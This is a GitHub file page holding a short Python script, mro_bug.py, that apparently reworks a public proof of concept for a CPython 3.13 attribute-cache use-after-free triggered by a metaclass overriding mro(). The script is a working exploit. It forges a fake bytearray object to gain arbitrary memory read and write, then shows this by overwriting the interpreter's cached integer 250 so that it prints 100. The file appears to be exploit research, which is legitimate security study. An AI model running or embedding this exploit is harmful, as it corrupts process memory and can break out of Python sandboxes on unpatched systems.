-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathmro_bug.py
More file actions
51 lines (36 loc) · 1.21 KB
/
mro_bug.py
File metadata and controls
51 lines (36 loc) · 1.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
"""
Author: @Nico-Posada
Bug Credits: <https://github.com/python/cpython/issues/127773>
"""
# TLDR: Weird metaclass behavior allows for pulling off the attribute cache UAF
# Tested to work on 3.13.0, 3.13.1 (Patched in 3.14.0)
# In all honesty, I don't know the full internal details about why this happens...
# You'll probably get a better explanation just reading the conversation in the github issue.
# In their discussion, I noticed that this bug is just an attribute cache UAF, so I
# just reworked the POC to make it work with creating fake objects.
from common import evil_bytearray_obj, check_pyversion
check_pyversion(patched_ver=(3, 14, 0))
class Base:
value = 1
class Meta(type):
def mro(cls):
return (cls, Base, object)
class WeirdClass(metaclass=Meta):
pass
class bytes_subclass(bytes):
pass
# see ./common/common.py for evil bytearray obj explanation
fake_obj, _ = evil_bytearray_obj()
SIZE = 0x100
WeirdClass.value
Base.value = bytes_subclass(SIZE - 0x18)
WeirdClass.value
Base.value = None
_ref = fake_obj.ljust(SIZE, b"\0")
mem = WeirdClass.value
if mem is None:
exit("failed")
print(type(mem))
print(hex(len(mem)))
mem[id(250) + int.__basicsize__] = 100
print(250) # => 100